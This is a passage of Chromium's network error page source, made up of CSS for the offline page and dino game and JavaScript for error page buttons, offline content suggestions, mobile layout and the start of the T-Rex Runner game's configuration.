-webkit-box-orient: vertical;
-webkit-line-clamp: 3;
color: rgb(32, 33, 36);
display: -webkit-box;
font-size: 1.1em;
overflow: hidden;
text-overflow: ellipsis;
}
div.offline-content-suggestion {
align-items: stretch;
border: 1px solid rgb(218, 220, 224);
border-radius: 8px;
display: flex;
justify-content: space-between;
margin-bottom: .8em;
}
.suggestion-with-image {
flex-direction: row;
height: 8.2em;
max-height: 8.2em;
}
.suggestion-with-icon {
flex-direction: row-reverse;
height: 4.2em;
max-height: 4.2em;
}
.suggestion-with-icon .offline-content-suggestion-title {
-webkit-line-clamp: 1;
word-break: break-all;
}
.suggestion-with-icon .offline-content-suggestion-texts {
padding-inline-start: 0;
}
.offline-content-suggestion-attribution-freshness {
color: rgb(95, 99, 104);
display: flex;
font-size: .8em;
line-height: 1.7em;
}
.offline-content-suggestion-attribution {
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
display: -webkit-box;
flex-shrink: 1;
margin-inline-end: 0.3em;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
word-break: break-all;
}
.no-attribution .offline-content-suggestion-attribution {
display: none;
}
.offline-content-suggestion-freshness::before {
content: '-';
display: inline-block;
flex-shrink: 0;
margin-inline-end: .1em;
margin-inline-start: .1em;
}
.no-attribution .offline-content-suggestion-freshness::before {
display: none;
}
.offline-content-suggestion-freshness {
flex-shrink: 0;
}
.suggestion-with-image .offline-content-suggestion-pin-spacer {
flex-grow: 100;
flex-shrink: 1;
}
.suggestion-with-image .offline-content-suggestion-pin {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
flex-shrink: 0;
height: 1.4em;
margin-inline-start: .4em;
width: 1.4em;
}
/* Controls the animation (and a bit more) of the launch-downloads-home action
* button when the offline content list is expanded/shown.
*/
#offline-content-list-action {
text-align: center;
transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}
/* Controls the animation of the launch-downloads-home action button when the
* offline content list is collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-list-action {
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms;
visibility: hidden;
}
#cancel-save-page-button {
background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
background-position: right 27px center;
background-repeat: no-repeat;
border: 1px solid var(--google-gray-300);
border-radius: 5px;
color: var(--google-gray-700);
margin-bottom: 26px;
padding-bottom: 16px;
padding-inline-end: 88px;
padding-inline-start: 16px;
padding-top: 16px;
text-align: start;
}
html[dir='rtl'] #cancel-save-page-button {
background-position: left 27px center;
}
#save-page-for-later-button {
display: flex;
justify-content: start;
}
#save-page-for-later-button a::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
.hidden#save-page-for-later-button {
display: none;
}
/* Don't allow overflow when in a subframe. */
html[subframe] body {
overflow: hidden;
}
#sub-frame-error {
-webkit-align-items: center;
-webkit-flex-flow: column;
-webkit-justify-content: center;
background-color: #DDD;
display: -webkit-flex;
height: 100%;
left: 0;
position: absolute;
text-align: center;
top: 0;
transition: background-color 200ms ease-in-out;
width: 100%;
}
#sub-frame-error:hover {
background-color: #EEE;
}
#sub-frame-error .icon-generic {
margin: 0 0 16px;
}
#sub-frame-error-details {
margin: 0 10px;
text-align: center;
visibility: hidden;
}
/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
visibility: visible;
}
/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
#sub-frame-error-details {
display: none;
}
}
/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
#sub-frame-error .icon-generic {
height: auto;
margin: 0;
padding-top: 0;
width: 25px;
}
}
/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
box-shadow: none;
min-width: 0;
}
/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
float: left;
}
.suggested-right > #control-buttons,
.suggested-left > #details-button {
float: right;
}
.suggested-left .secondary-button {
margin-inline-end: 0;
margin-inline-start: 16px;
}
#details-button.singular {
float: none;
}
/* download-button shows both icon and text. */
#download-button {
padding-bottom: 4px;
padding-top: 4px;
position: relative;
}
#download-button::before {
background: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
no-repeat;
content: '';
display: inline-block;
height: 24px;
margin-inline-end: 4px;
margin-inline-start: -4px;
vertical-align: middle;
width: 24px;
}
#download-button:disabled {
background: rgb(180, 206, 249);
color: rgb(255, 255, 255);
}
#buttons::after {
clear: both;
content: '';
display: block;
width: 100%;
}
/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
transform: scaleX(-1);
}
.offline {
transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
will-change: filter, background-color;
}
.offline body {
transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}
.offline #main-message > p {
display: none;
}
.offline.inverted {
background-color: #fff;
filter: invert(1);
}
.offline.inverted body {
background-color: #fff;
}
.offline .interstitial-wrapper {
color: var(--text-color);
font-size: 1em;
line-height: 1.55;
margin: 0 auto;
max-width: 600px;
padding-top: 100px;
position: relative;
width: 100%;
}
.offline .runner-container {
direction: ltr;
height: 150px;
max-width: 600px;
overflow: hidden;
position: absolute;
top: 35px;
width: 44px;
}
.offline .runner-container:focus {
outline: none;
}
.offline .runner-container:focus-visible {
outline: 3px solid var(--google-blue-300);
}
.offline .runner-canvas {
height: 150px;
max-width: 600px;
opacity: 1;
overflow: hidden;
position: absolute;
top: 0;
z-index: 10;
}
.offline .controller {
height: 100vh;
left: 0;
position: absolute;
top: 0;
width: 100vw;
z-index: 9;
}
#offline-resources {
display: none;
}
#offline-instruction {
image-rendering: pixelated;
left: 0;
margin: auto;
position: absolute;
right: 0;
top: 60px;
width: fit-content;
}
.offline-runner-live-region {
bottom: 0;
clip-path: polygon(0 0, 0 0, 0 0);
color: var(--background-color);
display: block;
font-size: xx-small;
overflow: hidden;
position: absolute;
text-align: center;
transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
user-select: none;
}
/* Custom toggle */
.slow-speed-option {
align-items: center;
background: var(--google-gray-50);
border-radius: 24px/50%;
bottom: 0;
color: var(--error-code-color);
display: inline-flex;
font-size: 1em;
left: 0;
line-height: 1.1em;
margin: 5px auto;
padding: 2px 12px 3px 20px;
position: absolute;
right: 0;
width: max-content;
z-index: 999;
}
.slow-speed-option.hidden {
display: none;
}
.slow-speed-option [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle {
cursor: pointer;
margin-inline-start: 8px;
padding: 8px 4px;
position: relative;
}
.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
cursor: default;
}
.slow-speed-option-label [type=checkbox] {
opacity: 0;
pointer-events: none;
position: absolute;
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
content: '';
display: block;
margin: 0 3px;
transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}
.slow-speed-option .slow-speed-toggle::before {
background: rgb(189,193,198);
border-radius: 0.65em;
height: 0.9em;
width: 2em;
}
.slow-speed-option .slow-speed-toggle::after {
background: #fff;
border-radius: 50%;
box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
height: 1.2em;
position: absolute;
top: 51%;
transform: translate(-20%, -50%);
width: 1.1em;
}
.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
box-shadow: 0 0 8px rgb(94, 158, 214);
outline: 1px solid rgb(93, 157, 213);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-600);
opacity: 0.5;
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
background: var(--google-blue-600);
transform: translate(calc(2em - 90%), -50%);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::after {
background: var(--google-gray-50);
}
@media (max-width: 420px) {
#download-button {
padding-bottom: 12px;
padding-top: 12px;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
}
.snackbar {
border-radius: 0;
bottom: 0;
left: 0;
width: 100%;
}
}
@media (max-height: 350px) {
h1 {
margin: 0 0 15px;
}
.icon-offline {
margin: 0 0 10px;
}
.interstitial-wrapper {
margin-top: 5%;
}
.nav-wrapper {
margin-top: 30px;
}
}
@media (min-width: 420px) and (max-width: 736px) and
(min-height: 240px) and (max-height: 420px) and
(orientation:landscape) {
.interstitial-wrapper {
margin-bottom: 100px;
}
}
@media (max-width: 360px) and (max-height: 480px) {
.offline .interstitial-wrapper {
padding-top: 60px;
}
.offline .runner-container {
top: 8px;
}
}
@media (min-height: 240px) and (orientation: landscape) {
.offline .interstitial-wrapper {
margin-bottom: 90px;
}
.icon-offline {
margin-bottom: 20px;
}
}
@media (max-height: 320px) and (orientation: landscape) {
.icon-offline {
margin-bottom: 0;
}
.offline .runner-container {
top: 10px;
}
}
@media (max-width: 240px) {
button {
padding-inline-end: 12px;
padding-inline-start: 12px;
}
.interstitial-wrapper {
overflow: inherit;
padding: 0 8px;
}
}
@media (max-width: 120px) {
button {
width: auto;
}
}
.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
image-rendering: pixelated;
max-width: 100%;
overflow: hidden;
}
.arcade-mode #buttons,
.arcade-mode #main-content {
opacity: 0;
overflow: hidden;
}
.arcade-mode .interstitial-wrapper {
height: 100vh;
max-width: 100%;
overflow: hidden;
}
.arcade-mode .runner-container {
left: 0;
margin: auto;
right: 0;
transform-origin: top center;
transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
z-index: 2;
}
@media (prefers-color-scheme: dark) {
.icon {
filter: invert(1);
}
.offline .runner-canvas {
filter: invert(1);
}
.offline.inverted {
background-color: var(--background-color);
filter: invert(0);
}
.offline.inverted body {
background-color: #fff;
}
.offline.inverted .offline-runner-live-region {
color: #fff;
}
#suggestions-list a {
color: var(--link-color);
}
#error-information-button {
filter: invert(0.6);
}
.slow-speed-option {
background: var(--google-gray-800);
color: var(--google-gray-100);
}
.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option [type=checkbox]:checked:disabled +
.slow-speed-toggle::before {
background: rgb(189,193,198);
}
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
background: var(--google-blue-300);
}
}
</style>
<script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @typedef {{
* downloadButtonClick: function(),
* reloadButtonClick: function(string),
* detailsButtonClick: function(),
* diagnoseErrorsButtonClick: function(),
* trackEasterEgg: function(),
* updateEasterEggHighScore: function(number),
* resetEasterEggHighScore: function(),
* launchOfflineItem: function(string, string),
* savePageForLater: function(),
* cancelSavePage: function(),
* listVisibilityChange: function(boolean),
* }}
*/
// eslint-disable-next-line no-var
var errorPageController;
const HIDDEN_CLASS = 'hidden';
// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
const data = atob(encoded_text);
let result = '';
for (let i = 0; i < data.length; i += 2) {
result +=
String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
}
return result;
}
function toggleHelpBox() {
const helpBoxOuter = document.getElementById('details');
helpBoxOuter.classList.toggle(HIDDEN_CLASS);
const detailsButton = document.getElementById('details-button');
if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.detailsText;
} else {
/** @suppress {missingProperties} */
detailsButton.innerText = detailsButton.hideDetailsText;
}
// Details appears over the main content on small screens.
if (mobileNav) {
document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS);
}
}
}
function diagnoseErrors() {
if (window.errorPageController) {
errorPageController.diagnoseErrorsButtonClick();
}
}
// Subframes use a different layout but the same html file. This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
document.documentElement.setAttribute('subframe', '');
isSubFrame = true;
}
// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
const context = new JsEvalContext(strings);
jstProcess(context, document.getElementById('t'));
onDocumentLoadOrUpdate();
}
// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
const iconEl = document.querySelector(frameSelector + ' .icon');
if (iconEl.classList.contains(newClass)) {
return;
}
iconEl.className = 'icon ' + newClass;
}
// Implements button clicks. This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
if (window.errorPageController) {
//
//
errorPageController.reloadButtonClick();
//
} else {
window.location = url;
}
}
function downloadButtonClick() {
if (window.errorPageController) {
errorPageController.downloadButtonClick();
const downloadButton = document.getElementById('download-button');
downloadButton.disabled = true;
/** @suppress {missingProperties} */
downloadButton.textContent = downloadButton.disabledText;
document.getElementById('download-link-wrapper')
.classList.add(HIDDEN_CLASS);
document.getElementById('download-link-clicked-wrapper')
.classList.remove(HIDDEN_CLASS);
}
}
function detailsButtonClick() {
if (window.errorPageController) {
errorPageController.detailsButtonClick();
}
}
let primaryControlOnLeft = true;
// clang-format off
//
// clang-format on
primaryControlOnLeft = false;
//
function setAutoFetchState(scheduled, can_schedule) {
document.getElementById('cancel-save-page-button')
.classList.toggle(HIDDEN_CLASS, !scheduled);
document.getElementById('save-page-for-later-button')
.classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}
function savePageLaterClick() {
errorPageController.savePageForLater();
// savePageForLater will eventually trigger a call to setAutoFetchState() when
// it completes.
}
function cancelSavePageClick() {
errorPageController.cancelSavePage();
// setAutoFetchState is not called in response to cancelSavePage(), so do it
// now.
setAutoFetchState(false, true);
}
function toggleErrorInformationPopup() {
document.getElementById('error-information-popup-container')
.classList.toggle(HIDDEN_CLASS);
}
function launchOfflineItem(itemID, name_space) {
errorPageController.launchOfflineItem(itemID, name_space);
}
function launchDownloadsPage() {
errorPageController.launchDownloadsPage();
}
function getIconForSuggestedItem(item) {
// Note: |item.content_type| contains the enum values from
// chrome::mojom::AvailableContentType.
switch (item.content_type) {
case 1: // kVideo
return 'image-video';
case 2: // kAudio
return 'image-music-note';
case 0: // kPrefetchedPage
case 3: // kOtherPage
return 'image-earth';
}
return 'image-file';
}
function getSuggestedContentDiv(item, index) {
// Note: See AvailableContentToValue in available_offline_content_helper.cc
// for the data contained in an |item|.
// TODO(carlosk): Present |snippet_base64| when that content becomes
// available.
let thumbnail = '';
const extraContainerClasses = [];
// html_inline.py will try to replace src attributes with data URIs using a
// simple regex. The following is obfuscated slightly to avoid that.
const source = 'src';
if (item.thumbnail_data_uri) {
extraContainerClasses.push('suggestion-with-image');
thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
} else {
extraContainerClasses.push('suggestion-with-icon');
const iconClass = getIconForSuggestedItem(item);
thumbnail = `<div><img class="${iconClass}"></div>`;
}
let favicon = '';
if (item.favicon_data_uri) {
favicon = `<img ${source}="${item.favicon_data_uri}">`;
} else {
extraContainerClasses.push('no-favicon');
}
if (!item.attribution_base64) {
extraContainerClasses.push('no-attribution');
}
return `
<div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
<div class="offline-content-suggestion-texts">
<div id="offline-content-suggestion-title-${index}"
class="offline-content-suggestion-title">
</div>
<div class="offline-content-suggestion-attribution-freshness">
<div id="offline-content-suggestion-favicon-${index}"
class="offline-content-suggestion-favicon">
${favicon}
</div>
<div id="offline-content-suggestion-attribution-${index}"
class="offline-content-suggestion-attribution">
</div>
<div class="offline-content-suggestion-freshness">
${item.date_modified}
</div>
<div class="offline-content-suggestion-pin-spacer"></div>
<div class="offline-content-suggestion-pin"></div>
</div>
</div>
<div class="offline-content-suggestion-thumbnail">
${thumbnail}
</div>
</div>`;
}
/**
* @typedef {{
* ID: string,
* name_space: string,
* title_base64: string,
* snippet_base64: string,
* date_modified: string,
* attribution_base64: string,
* thumbnail_data_uri: string,
* favicon_data_uri: string,
* content_type: number,
* }}
*/
let AvailableOfflineContent;
// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
return;
}
const suggestionsHTML = [];
for (let index = 0; index < suggestions.length; index++) {
suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
}
document.getElementById('offline-content-suggestions').innerHTML =
suggestionsHTML.join('\n');
// Sets textual web content using |textContent| to make sure it's handled as
// plain text.
for (let index = 0; index < suggestions.length; index++) {
document.getElementById(`offline-content-suggestion-title-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].title_base64);
document.getElementById(`offline-content-suggestion-attribution-${index}`)
.textContent =
decodeUTF16Base64ToString(suggestions[index].attribution_base64);
}
const contentListElement = document.getElementById('offline-content-list');
if (document.dir === 'rtl') {
contentListElement.classList.add('is-rtl');
}
contentListElement.hidden = false;
// The list is configured as hidden by default. Show it if needed.
if (isShown) {
toggleOfflineContentListVisibility(false);
}
}
function toggleOfflineContentListVisibility(updatePref) {
if (!loadTimeData.valueExists('offlineContentList')) {
return;
}
const contentListElement = document.getElementById('offline-content-list');
const isVisible = !contentListElement.classList.toggle('list-hidden');
if (updatePref && window.errorPageController) {
errorPageController.listVisibilityChanged(isVisible);
}
}
// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
loadTimeData.getValue('downloadButton').msg;
const detailsButton = document.getElementById('details-button');
// If offline content suggestions will be visible, the usual buttons will not
// be presented.
const offlineContentVisible =
loadTimeData.valueExists('suggestedOfflineContentPresentation');
if (offlineContentVisible) {
document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
detailsButton.classList.add(HIDDEN_CLASS);
document.getElementById('download-link').hidden = !downloadButtonVisible;
document.getElementById('download-links-wrapper')
.classList.remove(HIDDEN_CLASS);
document.getElementById('error-information-popup-container')
.classList.add('use-popup-container', HIDDEN_CLASS);
document.getElementById('error-information-button')
.classList.remove(HIDDEN_CLASS);
}
const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
loadTimeData.getValue('attemptAutoFetch');
const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
loadTimeData.getValue('reloadButton').msg;
const reloadButton = document.getElementById('reload-button');
const downloadButton = document.getElementById('download-button');
if (reloadButton.style.display === 'none' &&
downloadButton.style.display === 'none') {
detailsButton.classList.add('singular');
}
// Show or hide control buttons.
const controlButtonDiv = document.getElementById('control-buttons');
controlButtonDiv.hidden =
offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);
const iconClass = loadTimeData.valueExists('iconClass') &&
loadTimeData.getValue('iconClass');
updateIconClass(iconClass);
if (!isSubFrame && iconClass === 'icon-offline') {
document.documentElement.classList.add('offline');
new Runner('.interstitial-wrapper');
}
}
function onDocumentLoad() {
// Sets up the proper button layout for the current platform.
const buttonsDiv = document.getElementById('buttons');
if (primaryControlOnLeft) {
buttonsDiv.classList.add('suggested-left');
} else {
buttonsDiv.classList.add('suggested-right');
}
onDocumentLoadOrUpdate();
}
document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
<script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
let mobileNav = false;
/**
* For small screen mobile the navigation buttons are moved
* below the advanced text.
*/
function onResize() {
const helpOuterBox = document.querySelector('#details');
const mainContent = document.querySelector('#main-content');
const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
'(min-height: 401px), ' +
'(max-height: 560px) and (min-height: 240px) and ' +
'(min-width: 421px)';
const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
const runnerContainer = document.querySelector('.runner-container');
// Check for change in nav status.
if (mobileNav !== window.matchMedia(mediaQuery).matches) {
mobileNav = !mobileNav;
// Handle showing the top content / details sections according to state.
if (mobileNav) {
mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
if (runnerContainer) {
runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
}
} else if (!detailsHidden) {
// Non mobile nav with visible details.
mainContent.classList.remove(HIDDEN_CLASS);
helpOuterBox.classList.remove(HIDDEN_CLASS);
if (runnerContainer) {
runnerContainer.classList.remove(HIDDEN_CLASS);
}
}
}
}
function setupMobileNav() {
window.addEventListener('resize', onResize);
onResize();
}
document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
<script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* T-Rex runner.
* @param {string} outerContainerId Outer containing element id.
* @param {!Object=} opt_config
* @constructor
* @implements {EventListener}
* @export
*/
function Runner(outerContainerId, opt_config) {
// Singleton
if (Runner.instance_) {
return Runner.instance_;
}
Runner.instance_ = this;
this.outerContainerEl = document.querySelector(outerContainerId);
this.containerEl = null;
this.snackbarEl = null;
// A div to intercept touch events. Only set while (playing && useTouch).
this.touchController = null;
this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
// Logical dimensions of the container.
this.dimensions = Runner.defaultDimensions;
this.gameType = null;
Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];
this.altGameImageSprite = null;
this.altGameModeActive = false;
this.altGameModeFlashTimer = null;
this.fadeInTimer = 0;
this.canvas = null;
this.canvasCtx = null;
this.tRex = null;
this.distanceMeter = null;
this.distanceRan = 0;
this.highestScore = 0;
this.syncHighestScore = false;
this.time = 0;
this.runningTime = 0;
this.msPerFrame = 1000 / FPS;
this.currentSpeed = this.config.SPEED;
Runner.slowDown = false;
this.obstacles = [];
this.activated = false; // Whether the easter egg has been activated.
this.playing = false; // Whether the game is currently in play state.
this.crashed = false;
this.paused = false;
this.inverted = false;
this.invertTimer = 0;
this.resizeTimerId_ = null;
this.playCount = 0;
// Sound FX.
this.audioBuffer = null;
/** @type {Object} */
this.soundFx = {};
this.generatedSoundFx = null;
// Global web audio context for playing sounds.
this.audioContext = null;
// Images.
this.images = {};
this.imagesLoaded = 0;
// Gamepad state.
this.pollingGamepads = false;
this.gamepadIndex = undefined;
this.previousGamepad = null;
if (this.isDisabled()) {
this.setupDisabledRunner();
} else {
if (Runner.isAltGameModeEnabled()) {
this.initAltGameType();
Runner.gameType = this.gameType;
}
this.loadImages();
window['initializeEasterEggHighScore'] =
this.initializeHighScore.bind(this);
}
}
/**
* Default game width.
* @const
*/
const DEFAULT_WIDTH = 600;
/**
* Frames per second.
* @const
*/
const FPS = 60;
/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;
/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);
/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;
/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';
/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';
/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';
/** @const */
const A11Y_STRINGS = {
ariaLabel: 'dinoGameA11yAriaLabel',
description: 'dinoGameA11yDescription',
gameOver: 'dinoGameA11yGameOver',
highScore: 'dinoGameA11yHighScore',
jump: 'dinoGameA11yJump',
started: 'dinoGameA11yStartGame',
speedLabel: 'dinoGameA11ySpeedToggle',
};
/**
* Default game configuration.
* Shared config for all versions of the game. Additional parameters are
* defined in Runner.normalConfig and Runner.slowConfig.
*/
Runner.config = {
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
BG_CLOUD_SPEED: 0.2,
BOTTOM_PAD: 10,
// Scroll Y threshold at which the game can be activated.
CANVAS_IN_VIEW_OFFSET: -10,
CLEAR_TIME: 3000,
CLOUD_FREQUENCY: 0.5,
FADE_DURATION: 1,
FLASH_DURATION: 1000,
GAMEOVER_CLEAR_TIME: 1200,
INITIAL_JUMP_VELOCITY: 12,
INVERT_FADE_DURATION: 12000,
MAX_BLINK_COUNT: 3,
MAX_CLOUDS: 6,
MAX_OBSTACLE_LENGTH: 3,
MAX_OBSTACLE_DUPLICATION: 2,
RESOURCE_TEMPLATE_ID: 'audio-resources',
SPEED: 6,
SPEED_DROP_COEFFICIENT: 3,
ARCADE_MODE_INITIAL_TOP_POSITION: 35,
ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};
Runner.normalConfig = {
ACCELERATION: 0.001,
AUDIOCUE_PROXIMITY_THRESHOLD: 190,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
GAP_COEFFICIENT: 0.6,
INVERT_DISTANCE: 700,
MAX_SPEED: 13,
MOBILE_SPEED_COEFFICIENT: 1.2,
SPEED: 6,
};
Runner.slowConfig = {
ACCELERATION: 0.0005,
AUDIOCUE_PROXIMITY_THRESHOLD: 170,
AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
GAP_COEFFICIENT: 0.3,
INVERT_DISTANCE: 350,
MAX_SPEED: 9,
MOBILE_SPEED_COEFFICIENT: 1.5,
SPEED: 4.2,
};
/**
* Default dimensions.
*/
Runner.defaultDimensions = {
WIDTH: DEFAULT_WIDTH,
HEIGHT: 150,
};
/**
* CSS class names.
